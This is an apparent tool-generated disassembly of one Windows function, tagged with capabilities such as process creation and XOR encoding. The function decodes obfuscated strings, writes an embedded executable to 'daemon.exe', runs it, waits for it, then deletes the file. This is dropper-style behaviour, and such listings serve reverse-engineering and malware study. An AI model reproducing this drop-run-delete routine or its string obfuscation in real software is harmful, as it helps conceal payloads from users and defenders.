Function at 0x407720
Capabilities:
Create process on windows
Create thread
Delete file
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46db5e
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x1b8
mov eax, dword [0x4833a8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0
push 0
push 0x4076b0
push 0
push 0
mov dword [ebp - 0x16c], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00405470
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x403d20
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [0x47ec88]
mov edi, eax
movups xmm0, xmmword [0x47ec78]
mov esi, dword [0x4e2580]
mov eax, 1
mov dword [ebp - 0x174], ecx
mov cx, word [0x47ec8c]
mov word [ebp - 0x170], cx
movups xmmword [ebp - 0x184], xmm0
test ch, ch
je 0x407966
xor edx, edx
mov dword [ebp - 0x16c], edx
cmp esi, 2
jl 0x407930
movaps xmm0, xmmword [0x47ed80]
movaps xmm4, xmmword [0x47ece0]
movaps xmm3, xmmword [0x47ed70]
movaps xmm6, xmmword [0x47ed00]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x1a0], xmm0
mov ecx, dword [ebp - 0x1a0]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ed60]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x184]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x184], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ed60]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x180]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x180], xmm1
add edx, 8
cmp edx, 0x10
jl 0x407820
mov dword [ebp - 0x16c], edx
cmp edx, 0x16
jge 0x407966
nop
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x16c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x184], cl
inc edx
mov dword [ebp - 0x16c], edx
cmp edx, 0x16
jl 0x407930
lea edx, [ebp - 0x184]
mov ecx, edi
call fcn.0040b720
call fcn.00405520
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x403d20
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
movups xmm0, xmmword [0x47e470]
mov ecx, dword [0x47e488]
xor edx, edx
mov dword [ebp - 0x174], ecx
mov edi, eax
mov cx, word [0x47e48c]
mov word [ebp - 0x170], cx
mov cl, byte [0x47e48e]
mov byte [ebp - 0x16e], cl
mov dword [ebp - 0x16c], edx
movups xmmword [ebp - 0x18c], xmm0
movq xmm0, qword [0x47e480]
movq qword [ebp - 0x17c], xmm0
cmp esi, 2
jl 0x407b30
movaps xmm0, xmmword [0x47ed80]
mov eax, 1
movaps xmm4, xmmword [0x47ece0]
movaps xmm3, xmmword [0x47ed70]
movaps xmm6, xmmword [0x47ed00]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x1a0], xmm0
mov ecx, dword [ebp - 0x1a0]
movd xmm7, eax
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ed60]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x18c]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x18c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ed60]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x188]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x188], xmm1
add edx, 8
cmp edx, 0x18
jl 0x407a20
mov dword [ebp - 0x16c], edx
cmp edx, 0x1f
jge 0x407b66
nop
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x16c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x18c], cl
inc edx
mov dword [ebp - 0x16c], edx
cmp edx, 0x1f
jl 0x407b30
lea edx, [ebp - 0x18c]
mov ecx, edi
call fcn.0040b720
call fcn.00406720
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x403cf0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
movups xmm0, xmmword [0x47e5e4]
mov edi, eax
movups xmmword [ebp - 0x180], xmm0
psrldq xmm0, 0xf
movd ecx, xmm0
test cl, cl
je 0x407d4c
xor edx, edx
mov dword [ebp - 0x16c], edx
cmp esi, 2
jl 0x407d10
movaps xmm0, xmmword [0x47ed80]
mov eax, 1
movaps xmm4, xmmword [0x47ece0]
xor ecx, ecx
movaps xmm3, xmmword [0x47ed70]
movaps xmm6, xmmword [0x47ed00]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x1a0], xmm0
mov edx, dword [ebp - 0x1a0]
movd xmm7, eax
nop dword [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ed60]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x180]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x180], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ed60]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x17c]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x17c], xmm1
add ecx, 8
cmp ecx, 0x10
jl 0x407c00
jmp 0x407d4c
mov eax, 0x29e4129f
mul edx
mov eax, dword [ebp - 0x16c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x16c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x180], cl
inc edx
mov dword [ebp - 0x16c], edx
cmp edx, 0x10
jl 0x407d10
lea edx, [ebp - 0x180]
mov ecx, edi
call fcn.0040b720
lea ecx, [ebp - 0x30]
call fcn.004041d0
mov edi, accept
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x20]
mov eax, edi
sub eax, ecx
cmp eax, 0xb
jb 0x4083a0
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
push 0xb
cmovae eax, dword [ebp - 0x30]
push str.daemon.exe
push ecx
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x48]
call fcn.0040d2d0
push 0xb0
lea eax, [ebp - 0x110]
mov byte [ebp - 4], 1
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x110], 0x47e6a8
cmp dword [ebp - 0x34], 0x10
lea esi, [ebp - 0x48]
lea ecx, [ebp - 0xa8]
cmovae esi, dword [ebp - 0x48]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [ebp - 0x10c]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x16c], 3
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov dword [ebp - 4], 3
mov eax, dword [ebp - 0x110]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x114], eax
lea eax, [ebp - 0x10c]
mov ecx, eax
mov dword [ebp - 0x190], eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x10c]
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [ebp - 0xc4], 0
mov byte [ebp - 0xcf], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x4e2598]
mov ecx, dword [0x4e259c]
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xc8], ecx
mov dword [ebp - 0xd4], 0
push ecx
push 0x22
push esi
lea ecx, [ebp - 0x10c]
mov byte [ebp - 4], 5
call fcn.0040acf0
test eax, eax
jne 0x407ec4
mov eax, dword [ebp - 0x110]
lea ecx, [ebp - 0x110]
push 0
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov eax, dword [ebp - 0x110]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x114], eax
push 0
push 0x5e800
push 0x483428
lea ecx, [ebp - 0x110]
mov byte [ebp - 4], 6
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x10c]
call fcn.0040a170
test eax, eax
jne 0x407f31
mov eax, dword [ebp - 0x110]
lea ecx, [ebp - 0x110]
push 0
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov ecx, dword [ebp - 0x20]
sub edi, ecx
cmp edi, 0xb
jb 0x4083a5
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
push 0xb
cmovae eax, dword [ebp - 0x30]
push str.daemon.exe
push ecx
push eax
push ecx
push dword [ebp - 0x190]
lea ecx, [ebp - 0x60]
call fcn.0040d2d0
mov byte [ebp - 4], 7
lea edx, [ebp - 0x168]
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
push edx
cmovae eax, dword [ebp - 0x30]
lea edx, [ebp - 0x158]
cmp dword [ebp - 0x4c], 0x10
lea ecx, [ebp - 0x60]
push edx
cmovae ecx, dword [ebp - 0x60]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
movlpd qword [ebp - 0x154], xmm0
movlpd qword [ebp - 0x14c], xmm0
movlpd qword [ebp - 0x144], xmm0
movlpd qword [ebp - 0x13c], xmm0
movlpd qword [ebp - 0x134], xmm0
movlpd qword [ebp - 0x12c], xmm0
movlpd qword [ebp - 0x124], xmm0
movlpd qword [ebp - 0x11c], xmm0
mov dword [ebp - 0x158], 0x44
movups xmmword [ebp - 0x168], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x407ffd
mov edx, str.__X__CreateProcess_failed__
jmp 0x408024
push 0xffffffffffffffff
push dword [ebp - 0x168]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x168]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
jne 0x408056
mov edx, str.__X__GetExitCodeProcess_failed__
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.0040b720
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov edx, 0x47d3b8
mov ecx, eax
call fcn.0040b720
mov esi, 1
jmp 0x4082b7
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._____The_process_exited_with_code
call fcn.0040b720
push dword [ebp - 0x18]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov edx, 0x47d3fc
mov ecx, eax
call fcn.0040b720
push dword [ebp - 0x168]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x164]
call esi
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
cmovae eax, dword [ebp - 0x48]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
push 0x403cc0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
movups xmm0, xmmword [0x47e71c]
mov ecx, dword [0x47e734]
mov esi, eax
mov dword [ebp - 0x1a8], ecx
mov cx, word [0x47e738]
mov word [ebp - 0x1a4], cx
movups xmmword [ebp - 0x1c0], xmm0
movq xmm0, qword [0x47e72c]
movq qword [ebp - 0x1b0], xmm0
test ch, ch
je 0x408296
xor edx, edx
cmp dword [0x4e2580], 2
mov dword [ebp - 0x16c], edx
jl 0x408260
movaps xmm0, xmmword [0x47ed80]
mov eax, 1
movaps xmm4, xmmword [0x47ece0]
movaps xmm3, xmmword [0x47ed70]
movaps xmm6, xmmword [0x47ed00]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x1a0], xmm0
mov ecx, dword [ebp - 0x1a0]
movd xmm7, eax
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ed60]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x1c0]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x1c0], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ed60]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x1bc]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x1bc], xmm1
add edx, 8
cmp edx, 0x18
jl 0x408150
mov dword [ebp - 0x16c], edx
cmp edx, 0x1e
jge 0x408296
nop
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x16c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x1c0], cl
inc edx
mov dword [ebp - 0x16c], edx
cmp edx, 0x1e
jl 0x408260
lea edx, [ebp - 0x1c0]
mov ecx, esi
call fcn.0040b720
mov ecx, eax
call fcn.0040b950
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov edx, dword [ebp - 0x4c]
cmp edx, 0x10
jb 0x4082eb
mov ecx, dword [ebp - 0x60]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4082e1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408370
push edx
push ecx
call fcn.0046c07d
add esp, 8
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
call fcn.004083b0
mov edx, dword [ebp - 0x34]
cmp edx, 0x10
jb 0x408338
mov ecx, dword [ebp - 0x48]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40832e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408370
push edx
push ecx
call fcn.0046c07d
add esp, 8
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], 0
cmp edx, 0x10
jb 0x408380
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408376
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x408376
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.0046c07d
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0046be42
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004011c0
call fcn.004011c0
int3